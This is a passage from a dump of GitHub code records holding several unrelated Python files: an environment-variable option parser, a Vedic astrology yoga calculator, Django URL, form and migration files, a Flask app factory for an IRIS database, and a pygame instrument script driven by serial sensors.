vardict\n\n\ndef setVarCallBack(option, opt_str, value, parser): # IGNORE:W0613\n log = logging.getLogger()\n env = getDefaultEnv()\n edict = varArgSplit(value)\n if opt_str == \"--env\":\n for e in edict.keys():\n if edict[e]:\n env[e] = edict[e]\n log.info(\"setting %s to %s\" % (e, env[e]))\n else:\n env[e] = \"\"\n log.info(\"setting %s\" % e)\n if opt_str == \"--unenv\":\n for e in edict.keys():\n if not edict[e]:\n del env[e]\n log.info(\"removing %s\" % e)\n else:\n env[e] = env[e].replace(edict[e], \"\")\n log.info(\"changed %s to %s\" % (e, env[e]))\n\n\ndef setPathCallBack(option, opt_str, value, parser): # IGNORE:W0613\n log = logging.getLogger()\n env = getDefaultEnv()\n edict = varArgSplit(value)\n if opt_str == \"--path-append\":\n for e in edict.keys():\n if edict[e]:\n env[e] = os.pathsep.join(env[e].split(os.pathsep) + [edict[e]])\n log.info(\"appending %s to %s\" % (edict[e], e))\n log.debug(\"%s is %s\" % (e, env[e]))\n if opt_str == \"--path-prepend\":\n for e in edict.keys():\n if edict[e]:\n env[e] = os.pathsep.join([edict[e]] + env[e].split(os.pathsep))\n log.info(\"prepending %s to %s\" % (edict[e], e))\n log.debug(\"%s is %s\" % (e, env[e]))\n if opt_str == \"--path-remove\":\n for e in edict.keys():\n if edict[e]:\n envlist = env[e].split(os.pathsep)\n for l in envlist:\n if l.find(edict[e]) != -1:\n envlist.remove(l)\n log.info(\"removing %s from %s\" % (l, e))\n env[e] = os.pathsep.join(envlist)\n log.debug(\"%s is %s\" % (e, env[e]))\n\n\ndef addEnvironment(parser):\n grp = parser.add_option_group(\"Environment\")\n parser.set_defaults(verbose=False)\n grp.add_option(\"--env\",\n action=\"callback\",\n callback=setVarCallBack,\n type=\"string\",\n nargs=1,\n metavar=\"VAR[=value]\",\n help=\"Add or override env variable of the environment.\\n\"\n \"--env VAR:value (set the variable VAR to value)\\n\"\n \"--env VAR (set the variable VAR to empty)\")\n grp.add_option(\"--unenv\",\n action=\"callback\",\n callback=setVarCallBack,\n type=\"string\",\n nargs=1,\n metavar=\"VAR[=value]\",\n help=\"remove env variable or part of it. \\n\"\n \"--unenv VAR (remove the variable VAR)\\n\"\n \"--unenv VAR:value (remove every occurence \\n\"\n \"of value from the variable VAR)\")\n grp.add_option(\"--path-append\",\n action=\"callback\",\n callback=setPathCallBack,\n type=\"string\",\n nargs=1,\n metavar=\"VAR=value\",\n help=\"append a component to a path variable\\n\"\n \"--path-append VAR:value\")\n grp.add_option(\"--path-prepend\",\n action=\"callback\",\n callback=setPathCallBack,\n type=\"string\",\n nargs=1,\n metavar=\"VAR=value\",\n help=\"prepend a component to a path variable\\n\"\n \"--path-prepend VAR:value\")\n grp.add_option(\"--path-remove\",\n action=\"callback\",\n callback=setPathCallBack,\n type=\"string\",\n nargs=1,\n metavar=\"VAR=str\",\n help=\"remove a component to a path variable\\n\"\n \"--path-remove VAR:regexp\")\n return _globalenv\n","repo_name":"astrorama/ElementsEnv","sub_path":"python/ElementsEnv/Env.py","file_name":"Env.py","file_ext":"py","file_size_in_byte":10444,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"16207232695","text":"import itertools\nfrom hora import const,utils\nfrom hora.horoscope.chart import house\nfrom hora.horoscope.transit import tajaka\n\"\"\" Tajaka Yogas \"\"\"\ndef ishkavala_yoga(planet_to_house_dict,asc_house):\n \"\"\"\n Ishkavala Yoga\n If planets occupy only kendras (1st, 4th, 7th and 10th houses) and panapharas (2nd, 5th,\n 8th and 11th houses) and if apoklimas (3rd, 6th, 9th and 12th houses) are empty, then\n this yoga is present. This yoga gives wealth, happiness and good fortune.\n @param planet_to_house_dict: Example {0:1.1:2,2:0,..'L':1}\n @param asc_house: Raasi index of the ascendant/Lagnam\n @return: True/False - whether ishkaval yoga is present or not \n \"\"\"\n \"\"\" TODO Not Working \"\"\"\n slq = list(set([(asc_house+h-1)%12 for h in [1,3,4,6,7,9,10,12]]))\n sph = list(set([house.get_relative_house_of_planet(asc_house,h)-1 for h in list(planet_to_house_dict.values())[:-1]]))\n yoga_present = all(el in slq for el in sph)\n #print('sph',sph,'slq',slq)\n return yoga_present\ndef induvara_yoga(planet_to_house_dict,asc_house):\n \"\"\"\n Induvara Yoga\n If planets occupy only apoklimas (3rd, 6th, 9th and 12th houses) and if kendras (1st, 4th,\n 7th and 10th houses) and panapharas (2nd, 5th, 8th and 11th houses) are empty, then this\n yoga is present. This yoga gives disappointments, worries and illnesses. \n @param planet_to_house_dict: Example {0:1.1:2,2:0,..'L':1}\n @param asc_house: Raasi index of the ascendant/Lagnam\n @return: True/False - whether induvara yoga is present or not \n \"\"\"\n slq = list(set([(asc_house+h-1)%12 for h in [3,6,9,12]]))\n sph = list(set([house.get_relative_house_of_planet(asc_house,h)-1 for h in list(planet_to_house_dict.values())[:-1]]))\n yoga_present = all(el in slq for el in sph)\n #print('sph',sph,'slq',slq)\n return yoga_present\ndef ithasala_yoga(planet_positions,planet1,planet2):\n \"\"\"\n Ithasala Yoga\n If two planets have an aspect and if the faster moving planet83 is less advanced in its\n rasi than the slower moving planet, then we have an ithasala yoga between the two. \n @param planet_positions: [ ['L',(7,12,3456)], [0,(4,112,3456)],...]]\n @param asc_house: Raasi index of the ascendant/Lagnam\n @return: True/False - whether yoga is present or not \n \"\"\"\n house_planet_dict = utils.get_house_planet_list_from_planet_positions(planet_positions)\n #print(house_planet_dict)\n chk1 = tajaka.planets_have_aspects(house_planet_dict, planet1, planet2)\n chk2,ithasala_type = tajaka.both_planets_within_their_deeptamsa(planet_positions,planet1, planet2)\n chk3 = tajaka.both_planets_approaching(planet_positions,planet1,planet2)\n yoga_present = chk1 and chk2 and chk3\n return yoga_present, ithasala_type\ndef eesarpha_yoga(planet_positions,planet1,planet2):\n \"\"\"\n @param planet_positions: [ ['L',(7,12,3456)], [0,(4,112,3456)],...]]\n @param asc_house: Raasi index of the ascendant/Lagnam\n @return: True/False - whether yoga is present or not \n \"\"\"\n house_planet_dict = utils.get_house_planet_list_from_planet_positions(planet_positions)\n #print(house_planet_dict)\n chk1 = tajaka.planets_have_aspects(house_planet_dict, planet1, planet2)\n chk2,ithasala_type = tajaka.both_planets_within_their_deeptamsa(planet_positions,planet1, planet2)\n chk3 = tajaka.both_planets_approaching(planet_positions,planet1,planet2)\n yoga_present = chk1 and chk2 and (not chk3)\n return yoga_present\ndef _check_nakta_yoga_1(planet_positions,planet1,planet2):\n house_planet_dict = utils.get_house_planet_list_from_planet_positions(planet_positions)\n excluded_planets = ['L','7','8']\n yp = str(planet1) not in excluded_planets and str(planet2) not in excluded_planets\n yp = yp and not ithasala_yoga(planet_positions,int(planet1),int(planet2))[0]\n yp = yp and not eesarpha_yoga(planet_positions, int(planet1), int(planet2))\n yp = yp and int(planet1) not in tajaka.aspects_of_the_planet(house_planet_dict,int(planet2))\n return yp\ndef _check_nakta_yoga(planet_positions, planet, p1, p2):\n house_planet_dict = utils.get_house_planet_list_from_planet_positions(planet_positions)\n yp = _check_nakta_yoga_1(planet_positions, p1, p2)\n if not yp:\n return False\n yp = yp and ithasala_yoga(planet_positions, int(planet), int(p1)) and ithasala_yoga(planet_positions, int(planet), int(p2))[0]\n \"\"\"\n if not yp:\n return False\n yp = yp and str(p2) in tajaka.benefic_aspects_of_the_planet(house_planet_dict, planet)\n if not yp:\n return False\n yp = yp and const.order_of_planets_by_speed.index(planet) > const.order_of_planets_by_speed.index(int(p1)) and \\\n const.order_of_planets_by_speed.index(planet) > const.order_of_planets_by_speed.index(int(p2))\n if yp:\n p_long = planet_positions[planet+1][1][1]\n p1_long = planet_positions[int(p1)+1][1][1]\n p2_long = planet_positions[int(p2)+1][1][1]\n yp = yp and p_long < p1_long and p_long < p2_long\n \"\"\"\n return yp\ndef _get_nakta_triples(ithasala_pairs):\n from collections import defaultdict\n iy_list = defaultdict(list)\n [iy_list[k].append(v) for k,v,_ in ithasala_pairs]\n iy_list = [(k,list(itertools.combinations(lst,2))) for k,lst in iy_list.items() if len(lst)>1]\n #print(iy_list)\n iy_list1 = defaultdict(list)\n [iy_list1[v].append(k) for k,v,_ in ithasala_pairs]\n iy_list1 = [(k,list(itertools.combinations(lst,2))) for k,lst in iy_list1.items() if len(lst)>1]\n #print(iy_list1)\n iy_list += iy_list1\n #print(iy_list)\n _nakta_triples = iy_list # utils.flatten_list(iy_list)\n return _nakta_triples\ndef get_nakta_yoga_planet_triples(planet_positions):\n \"\"\"\n nakta yoga between p2 and p3 if \n p1 & p2 and p1 & p3 have ithasala yoga between them \n but p2 and p3 have no aspects\n @param planet_positions: [ ['L',(7,12,3456)], [0,(4,112,3456)],...]]\n @return: List of natka yoga triples\n \"\"\"\n house_planet_dict = utils.get_house_planet_list_from_planet_positions(planet_positions)\n iy_pairs = get_ithasala_yoga_planet_pairs(planet_positions)\n #print('ithasala_yoga_planet_pairs',iy_pairs)\n _nakta_triples = _get_nakta_triples(iy_pairs)\n #print(_nakta_triples)\n nt = []\n for planet,p_list in _nakta_triples:\n p_long = planet_positions[planet+1][1][1]\n for p1,p2 in p_list:\n p1_long = planet_positions[p1+1][1][1]\n p2_long = planet_positions[p2+1][1][1]\n #print('checking triples',planet,p_long,p1,p1_long,p2,p2,p_long)\n if not tajaka.planets_have_aspects(house_planet_dict, p1, p2) and \\\n p_long < p1_long and p_long < p2_long:\n nt.append([planet,(p1,p2)])\n #print('found natka triple',planet,p1,p2)\n _nakta_triples = utils.flatten_list(nt)\n #print('natka planet triples',_nakta_triples)\n return _nakta_triples\ndef get_yamaya_yoga_planet_triples(planet_positions):\n \"\"\"\n yamaya yoga between p2 and p3 if \n p1 & p2 and p1 & p3 have ithasala yoga between them \n but p2 and p3 have no aspects\n @param planet_positions: [ ['L',(7,12,3456)], [0,(4,112,3456)],...]]\n @return: List of yamaya yoga triples\n \"\"\"\n house_planet_dict = utils.get_house_planet_list_from_planet_positions(planet_positions)\n iy_pairs = get_ithasala_yoga_planet_pairs(planet_positions)\n #print('ithasala_yoga_planet_pairs',iy_pairs)\n _yamaya_triples = _get_nakta_triples(iy_pairs)\n #print(_yamaya_triples)\n nt = []\n for planet,p_list in _yamaya_triples:\n p_long = planet_positions[planet+1][1][1]\n for p1,p2 in p_list:\n p1_long = planet_positions[p1+1][1][1]\n p2_long = planet_positions[p2+1][1][1]\n #print('checking triples',planet,p_long,p1,p1_long,p2,p2,p_long)\n if not tajaka.planets_have_aspects(house_planet_dict, p1, p2) and \\\n p_long > p1_long and p_long > p2_long:\n nt.append([planet,(p1,p2)])\n #print('found yamaya triple',planet,p1,p2)\n _yamaya_triples = utils.flatten_list(nt)\n #print('yamaya planet triples',_yamaya_triples)\n return _yamaya_triples\ndef get_eesarpha_yoga_planet_pairs(planet_positions):\n \"\"\"\n Get eeasrpha yoga planet pairs\n @param planet_positions: [ ['L',(7,12,3456)], [0,(4,112,3456)],...]]\n @return: List of eesarpha yoga pairs \n \"\"\"\n house_planet_dict = utils.get_house_planet_list_from_planet_positions(planet_positions)\n com1=[]\n for p1,p2 in list(itertools.combinations([*range(7)],2)):\n iy = eesarpha_yoga(planet_positions, p1, p2)\n if iy:\n com1.append((p1,p2))\n return com1 \ndef get_ithasala_yoga_planet_pairs(planet_positions):\n \"\"\"\n Get ithasala yoga planet pairs\n @param planet_positions: [ ['L',(7,12,3456)], [0,(4,112,3456)],...]]\n @return: List of ithasala yoga pairs \n \"\"\"\n house_planet_dict = utils.get_house_planet_list_from_planet_positions(planet_positions)\n com1=[]\n for p1,p2 in list(itertools.combinations([*range(7)],2)):\n iy,iyt = ithasala_yoga(planet_positions, p1, p2)\n if iy:\n com1.append((p1,p2,iyt))\n return com1 \ndef get_manahoo_yoga_planet_pairs(planet_positions):\n \"\"\"\n Get manahoo yoga planet pairs\n @param planet_positions: [ ['L',(7,12,3456)], [0,(4,112,3456)],...]]\n @return: List of manahoo yoga pairs \n \"\"\"\n house_planet_dict = utils.get_house_planet_list_from_planet_positions(planet_positions)\n iy_pairs = get_ithasala_yoga_planet_pairs(planet_positions)\n my = []\n mars_or_saturn_houses = [planet_positions[3+1][1][0],planet_positions[6+1][1][0]]\n for p1,p2,_ in iy_pairs: # ithasala tuple is p1,p2,othasal_type\n p1_long = planet_positions[p1+1][1][1]\n p2_long = planet_positions[p2+1][1][1]\n faster_planet = p1\n faster_planet_long = p1_long\n if p2_long < p1_long:\n faster_planet = p2\n faster_planet_long = p2_long\n faster_planet_house = planet_positions[faster_planet+1][1][0]\n faster_planet_deeptaamsa_start,faster_planet_deeptaamsa_end = utils.deeptaamsa_range_of_planet(faster_planet, faster_planet_long)\n if faster_planet_house in mars_or_saturn_houses:\n m_s_index = mars_or_saturn_houses.index(faster_planet_house)\n m_s_long = planet_positions[m_s_index+1][1][1]\n if m_s_long > faster_planet_deeptaamsa_start and m_s_long < faster_planet_deeptaamsa_end:\n my.append([p1,p2,mars_or_saturn_houses[m_s_index]])\n return my\ndef get_kamboola_yoga_planet_pairs(planet_positions):\n \"\"\"\n Get kamboola yoga planet pairs\n @param planet_positions: [ ['L',(7,12,3456)], [0,(4,112,3456)],...]]\n @return: List of kamboola yoga pairs \n \"\"\"\n house_planet_dict = utils.get_house_planet_list_from_planet_positions(planet_positions)\n iy_pairs = get_ithasala_yoga_planet_pairs(planet_positions)\n iy_pairs = [(x,y) for x,y,_ in iy_pairs]\n #print(iy_pairs)\n ky_pairs = [ (x,y) for x,y in iy_pairs if x==1 or x==1]\n ky_planets = [ y for x,y in iy_pairs if x==1]+[ x for x,y in iy_pairs if y==1] \n #print(ky_pairs, ky_planets)\n iy_ky_pairs = [(x,y) for kyp in ky_planets for x,y in iy_pairs if kyp==x or kyp==y]\n ky_check =any([kyp == x or kyp ==y for kyp in ky_planets for x,y in iy_pairs])\n return (ky_check,ky_pairs,iy_ky_pairs)\ndef get_gairi_kamboola_yoga_planet_pairs(planet_positions):\n \"\"\" TODO: to be implemented \"\"\"\n return None\ndef get_khallasara_yoga_planet_pairs(planet_positions):\n \"\"\" TODO: to be implemented \"\"\"\n return None\ndef get_radda_yoga_planet_pairs(planet_positions):\n \"\"\"\n Get radda yoga planet pairs\n @param planet_positions: [ ['L',(7,12,3456)], [0,(4,112,3456)],...]]\n @return: List of radda yoga pairs \n \"\"\"\n house_planet_dict = utils.get_house_planet_list_from_planet_positions(planet_positions)\n p_to_h = utils.get_planet_house_dictionary_from_planet_positions(planet_positions)\n iy_pairs = get_ithasala_yoga_planet_pairs(planet_positions)\n iy_pairs = [(x,y) for x,y,_ in iy_pairs]\n chk = []\n chk.append([x in charts.planets_in_combustion(planet_positions) or y in charts.planets_in_combustion(planet_positions) for x,y in iy_pairs])\n chk.append([x in charts.planets_in_retrograde(planet_positions) or y in charts.planets_in_retrograde(planet_positions) for x,y in iy_pairs])\n chk.append([const.house_strengths_of_planets[x][p_to_h[x]] < const._NEUTRAL_SAMAM or const.house_strengths_of_planets[y][p_to_h[y]]<2 for x,y in iy_pairs])\n import numpy as np\n ry_check= list(np.any(chk,axis=0))\n ry_pairs = [(x,y) for i,(x,y) in enumerate(iy_pairs) if ry_check[i]]\n return ry_pairs\ndef get_duhphali_kutta_yoga_planet_pairs(jd,place):\n \"\"\"\n Get duhphali kutta yoga planet pairs\n @param jd: Julian Day Number\n @param place: panchanga.Place struct ('place name',latitude, longitude, timezone) \n @return: List of duhphali kutta yoga pairs \n \"\"\"\n planet_positions = charts.divisional_chart(jd, place)\n house_planet_dict = utils.get_house_planet_list_from_planet_positions(planet_positions)\n print('house planet chart',house_planet_dict)\n p_to_h = utils.get_planet_house_dictionary_from_planet_positions(planet_positions)\n iy_pairs = get_ithasala_yoga_planet_pairs(planet_positions)\n iy_pairs = [(x,y) for x,y,_ in iy_pairs]\n dky_pairs = []\n for x,y in iy_pairs:\n faster_planet = x\n slower_planet = y\n if const.order_of_planets_by_speed.index(x) < const.order_of_planets_by_speed.index(y):\n faster_planet = y\n slower_planet = x\n print('ithasala pair',faster_planet,slower_planet)\n chk = const.house_strengths_of_planets[faster_planet][p_to_h[faster_planet]] > const._FRIEND\n print('chk1',chk,const.house_strengths_of_planets[faster_planet][p_to_h[faster_planet]])\n if not chk:\n continue\n pvb = tajaka.pancha_vargeeya_bala(jd, place)\n print('pvb',pvb[faster_planet],pvb[slower_planet])\n chk = chk & (pvb[faster_planet] > const.pancha_vargeeya_bala_strength_threshold)\n print('chk2',chk)\n if not chk:\n continue\n chk = chk & (const.house_strengths_of_planets[slower_planet][p_to_h[slower_planet]] < const._EXALTED_UCCHAM)\n print('chk3',chk)\n if not chk:\n continue\n chk = chk & (pvb[slower_planet] < const.pancha_vargeeya_bala_strength_threshold)\n print('chk3',chk)\n if not chk:\n continue\n else:\n dky_pairs.append((x,y))\n print('duhphali_kutta_yoga_planet_pairs',dky_pairs)\n return dky_pairs\ndef nakta_yoga(planet_positions,planet):\n \"\"\" TODO - not working yet \"\"\"\n house_planet_dict = utils.get_house_planet_list_from_planet_positions(planet_positions)\n #print(house_planet_dict)\n ah,ap = tajaka.aspects_of_the_planet(house_planet_dict, planet)\n com = list(itertools.combinations(ap,2))\n com1 = []\n for p1,p2 in com:\n if _check_nakta_yoga(planet_positions, planet, p1, p2):\n com1.append((int(p1),int(p2)))\n com = com1[:]\n print(planet,'combinations',com)\n yoga_present = len(com)>0\n return yoga_present,com\n\"\"\"\n Ithasala yoga\n If two planets have an aspect and if the faster moving planet83 is less advanced in its\n rasi than the slower moving planet, then we have an ithasala yoga between the two.\n\"\"\"\nif __name__ == \"__main__\":\n from hora.panchanga import panchanga\n from hora.horoscope.chart import charts\n jd_at_dob = utils.julian_day_number((1972,6,1),(4,16,0))\n years = 21\n place = panchanga.Place('unknown',16+15.0/60,81+12.0/60,5.5)\n divisional_chart_factor = 1\n ayanamsa_mode = 'Lahiri'\n jd_at_years = utils.julian_day_number((1993,6,1),(13,30,4))\n dky = get_duhphali_kutta_yoga_planet_pairs(jd_at_years,place)\n exit()\n chart_67_rasi = charts.divisional_chart(jd_at_years, place, ayanamsa_mode, divisional_chart_factor=1)\n print(chart_67_rasi)\n house_planet_dict = utils.get_house_planet_list_from_planet_positions(chart_67_rasi)\n print(house_planet_dict)\n ry = get_radda_yoga_planet_pairs(chart_67_rasi)\n print(ry)\n exit()\n ky = get_kamboola_yoga_planet_pairs(chart_67_rasi)\n print('get_kamboola_yoga_planet_pairs',ky)\n exit()\n get_nakta_yoga_planet_triples(chart_67_rasi)\n get_yamaya_yoga_planet_triples(chart_67_rasi)\n com = get_manahoo_yoga_planet_pairs(chart_67_rasi)\n print('manahoo combinations\\n',com)\n exit()\n com = get_ithasala_yoga_planet_pairs(chart_67_rasi)\n print('ithasala combinations\\n',com)\n com = get_eesarpha_yoga_planet_pairs(chart_67_rasi)\n print('eesarpha combinations\\n',com)\n exit()\n com = []\n for planet in range(7):\n ty = nakta_yoga(chart_67_rasi,planet)\n if ty[0] and len(ty[1])>0:\n com.append([planet,ty[1]])\n print('nakta yoga',ty)\n print('nakta yoga',com)\n exit()\n chart_66 = ['0','','3','7','','4','8','','6','5/L','','2/1']\n print(chart_66)\n p_to_h = utils.get_planet_to_house_dict_from_chart(chart_66)\n print('p_to_h',p_to_h)\n asc_house = p_to_h['L']\n print('asc_house',asc_house)\n print(ishkavala_yoga(p_to_h,asc_house))\n chart_66 = ['','','3/0/5','','','4/7/8','','','6','L','','2/1']\n print(chart_66)\n p_to_h = utils.get_planet_to_house_dict_from_chart(chart_66)\n print('p_to_h',p_to_h)\n asc_house = p_to_h['L']\n print('asc_house',asc_house)\n print(induvara_yoga(p_to_h,asc_house))","repo_name":"naturalstupid/PyHora","sub_path":"hora/horoscope/transit/tajaka_yoga.py","file_name":"tajaka_yoga.py","file_ext":"py","file_size_in_byte":17911,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"61"} +{"seq_id":"10572223519","text":"from django.urls import path\nfrom users.api.views import UserViewSet, UserDetail, UserUpdate, UserDelete, UserInSector, \\\n UsersProjectInListView, UsersProjectNotInListView, \\\n UsersInProjectAndMeetingListView, UsersInProjectAndNotMeetingListView\n\nurlpatterns = [\n path('', UserViewSet.as_view({'get': 'list'})),\n path('user_detail//', UserDetail.as_view()),\n path('user_edit//', UserUpdate.as_view()),\n path('user_delete//', UserDelete.as_view()),\n path('users_in_sector//', UserInSector.as_view()),\n path('users_in_project//', UsersProjectInListView.as_view()),\n path('users_not_in_project//', UsersProjectNotInListView.as_view()),\n path('users_in_project_and_meeting///', UsersInProjectAndMeetingListView.as_view()),\n path('users_in_project_and_not_in_meeting//', UsersInProjectAndNotMeetingListView.as_view()),\n]","repo_name":"MrVictor42/Grata-Backend-v2","sub_path":"users/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":969,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71117861956","text":"from django import forms\r\nfrom django.core.exceptions import ValidationError\r\n\r\nfrom .models import Follow\r\n\r\n\r\nclass FollowForm(forms.ModelForm):\r\n class Meta:\r\n model = Follow\r\n fields = (\"user\", \"follower\")\r\n\r\n def clean(self):\r\n cleaned_data = super().clean()\r\n user = cleaned_data.get(\"user\")\r\n follower = cleaned_data.get(\"follower\")\r\n if user == follower:\r\n raise ValidationError(\"Вы не можете подписаться на самого себя.\")\r\n","repo_name":"Teijio/blog_food","sub_path":"backend/users/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"15474775349","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('vote', '0011_auto_20150204_2127'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='vote',\n name='vt_description_ru',\n field=models.CharField(null=True, blank=True, default='', max_length=2000),\n preserve_default=True,\n ),\n migrations.AddField(\n model_name='vote',\n name='vt_title_ru',\n field=models.CharField(null=True, blank=True, default='', max_length=140),\n preserve_default=True,\n ),\n ]\n","repo_name":"yairchu/azlemi","sub_path":"migrations/vote/0012_auto_20150205_1905.py","file_name":"0012_auto_20150205_1905.py","file_ext":"py","file_size_in_byte":703,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"2037262392","text":"import random\n\nf = open('Electric Machinery1.txt', mode='r', encoding='utf-8')\nz = f.read()\nf.close()\ny = z.split('Q')\ny.remove('')\nrandom.shuffle(y)\na = y[0]\nb = a.split('\\n')\nc = b[1]\nd = b[2]\ne = b[3]\nprint (c)\n","repo_name":"kang-hyun/Question","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":214,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7727887391","text":"import os\nfrom flask import Flask\nfrom sqlalchemy.exc import DatabaseError\n\ndef create_app():\n # create and configure the app\n app = Flask(__name__)\n \n app.config.from_mapping(\n SECRET_KEY=\"dev\", # override with random when deploy\n SQLALCHEMY_DATABASE_URI = \"iris://_SYSTEM:sys@localhost:1972/SAMPLE\"\n )\n \n # flask initializes Alchemy with this app\n from .database import db\n from .models import User, Post\n db.init_app(app)\n try:\n with app.app_context():\n db.create_all()\n except DatabaseError as err:\n if 'already exists' in err._sql_message():\n print(\"Databases already exist.\")\n else:\n print(err) \n \n # register blueprints\n from . import auth\n app.register_blueprint(auth.bp) \n \n from . import blog\n app.register_blueprint(blog.bp)\n app.add_url_rule('/', endpoint='index')\n \n return app\n","repo_name":"heloisatambara/flask-iris","sub_path":"flaskr-iris/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":933,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"75136421955","text":"import pygame, sys\r\nimport statistics\r\nimport serial\r\nfrom distutils.util import strtobool\r\n\r\n# import wave\r\nCOM_PORT = \"COM9\"\r\nBAUD_RATES = 115200\r\nser1 = serial.Serial(COM_PORT, BAUD_RATES) # ser1 is for strength and toundboard\r\nCOM_PORT = \"COM10\"\r\nser2 = serial.Serial(COM_PORT, BAUD_RATES) # ser2 is for emg and keyboard\r\nCOM_PORT = \"COM11\"\r\nser3 = serial.Serial(COM_PORT, BAUD_RATES) # ser2 is for keyboard\r\nBPM = 76\r\nbeat = 4\r\ntempo = 1000 * 60 / BPM\r\n\r\n# key state for touch board\r\ntouchPrePress = [False, False, False, False]\r\ntouchNowPress = [False, False, False, False]\r\n# Strength for key press\r\nstrength = [0, 0, 0, 0, 0]\r\n# emg shirt period data\r\nthresholdMax = 20\r\nthresholdMin = 2\r\nperiod = 5\r\nrleg_emg = list()\r\nrvar = 0\r\nlleg_emg = list()\r\nlvar = 0\r\nrleg_hold = False\r\nlleg_hold = False\r\n# keyboard hold\r\nkeyboardHold = [False] * 21\r\n\r\n\r\ndrumPath = [\"hdr.wav\", \"mdr.wav\", \"ldr.wav\", \"bell.wav\", \"hoho.wav\"]\r\ndrumTempoList = [\r\n [[], [], [0, 1, 2], [], []],\r\n [[0], [0, 1, 2], [0, 1, 2], [0, 0.5, 1, 1.5, 2, 2.5], []],\r\n]\r\ndrumSoundList = list()\r\n\r\nsoundPath = \"sound\\\\\"\r\npianoPath = [\"C.wav\", \"D.wav\", \"E.wav\", \"FU.wav\", \"G.wav\", \"A.wav\", \"B.wav\"]\r\npianoSoundList = list()\r\n\r\nkeySoundList = list()\r\n\r\nchordSoundList = list()\r\nchordList = [\r\n [1, [4, 6], 1, [4, 6]],\r\n [2, [4, 6], 2, [4, 6]],\r\n [2, [4, 7], 2, [4, 7]],\r\n [1, [3, 5], 1, [3, 5]],\r\n]\r\nplayList = list()\r\nplayListIndex = 0\r\n\r\npygame.mixer.pre_init(44100, -16, 2, 512)\r\npygame.mixer.init()\r\npygame.init()\r\npygame.mixer.set_num_channels(30)\r\nscreen = pygame.display.set_mode([640, 480])\r\npygame.time.delay(1000)\r\n\r\nfor i in drumPath:\r\n drumSoundList.append(pygame.mixer.Sound(i))\r\n drumSoundList[-1].set_volume(0.5)\r\nfor i in pianoPath:\r\n pianoSoundList.append(pygame.mixer.Sound(soundPath + \"L\" + i))\r\n chordSoundList.append(pygame.mixer.Sound(soundPath + \"L\" + i))\r\nfor i in pianoPath:\r\n pianoSoundList.append(pygame.mixer.Sound(soundPath + i))\r\n chordSoundList.append(pygame.mixer.Sound(soundPath + i))\r\nfor i in pianoPath:\r\n pianoSoundList.append(pygame.mixer.Sound(soundPath + \"H\" + i))\r\n chordSoundList.append(pygame.mixer.Sound(soundPath + \"H\" + i))\r\nfor i in range(0, len(chordSoundList)):\r\n chordSoundList[i].set_volume(0.45)\r\nfor i in range(len(pianoSoundList)):\r\n pianoSoundList[i].set_volume(0.6)\r\n\r\n\r\ndef insertPlayList(playSound):\r\n i = playListIndex\r\n while i < len(playList) and playList[i][1] < playSound[1]:\r\n i += 1\r\n playList.insert(i, playSound)\r\n\r\n\r\nclass drumGroup:\r\n def __init__(self):\r\n self.startTime = 0\r\n self.counter = 0\r\n\r\n def setTimer(self):\r\n self.startTime = pygame.time.get_ticks()\r\n self.counter = 0\r\n\r\n def autoStamp(self, drumTempoIndex):\r\n if drumTempoIndex == 0:\r\n return\r\n if pygame.time.get_ticks() > self.startTime + self.counter * tempo * beat:\r\n self.counter += 1\r\n self.stamp(drumTempoIndex - 1)\r\n\r\n def stampTempo(self):\r\n current_time = pygame.time.get_ticks()\r\n for i in range(4):\r\n insertPlayList([3, current_time + tempo * i, 0])\r\n\r\n def stamp(self, drumTempoIndex):\r\n current_time = pygame.time.get_ticks()\r\n for i in range(len(drumSoundList)):\r\n for t in drumTempoList[drumTempoIndex][i]:\r\n insertPlayList([i, current_time + tempo * t, 0])\r\n\r\n\r\nclass chordGroup:\r\n def __init__(self):\r\n pass\r\n\r\n def play(self, chordIndex):\r\n for i in chordList[chordIndex]:\r\n chordSoundList[i].play()\r\n\r\n def playSplit(self, chordIndex):\r\n current_time = pygame.time.get_ticks()\r\n delta_time = 0\r\n for i in chordList[chordIndex]:\r\n if isinstance(i, list):\r\n for j in i:\r\n insertPlayList([j, current_time + delta_time, 1])\r\n else:\r\n insertPlayList([i, current_time + delta_time, 1])\r\n delta_time += tempo * 0.5\r\n\r\n\r\nclass keyGroup:\r\n def __init__(self):\r\n pass\r\n\r\n def play(self, chordIndex):\r\n for i in chordList[chordIndex]:\r\n chordSoundList[i].play()\r\n\r\n\r\ndrum = drumGroup()\r\nstampCount = 0\r\nchord = chordGroup()\r\n\r\nclock = pygame.time.Clock()\r\nwhile ser1.in_waiting:\r\n dump = ser1.readline()\r\nwhile ser2.in_waiting:\r\n dump = ser2.readline()\r\nwhile ser3.in_waiting:\r\n dump = ser3.readline()\r\nwhile 1:\r\n drum.autoStamp(stampCount)\r\n while ser1.in_waiting:\r\n data_raw = ser1.readline()\r\n data = data_raw.decode()\r\n # print(data[0:len(data)-2])\r\n if data[0] == \"d\":\r\n for i in range(4):\r\n touchNowPress[i] = strtobool(data[i + 1])\r\n elif data[0] == \"s\":\r\n for i in range(5):\r\n strength[i] = float(data[i * 4 + 1 : i * 4 + 5])\r\n\r\n while ser2.in_waiting:\r\n data_raw = ser2.readline()\r\n data = data_raw.decode()\r\n # print(data[0:len(data)-2])\r\n if data[0] == \"l\":\r\n if len(rleg_emg) >= period:\r\n rvar = statistics.pstdev(rleg_emg)\r\n lvar = statistics.pstdev(lleg_emg)\r\n if rleg_hold == False and rvar > thresholdMax: # press\r\n rleg_hold = True\r\n print(\"RP\")\r\n for i in 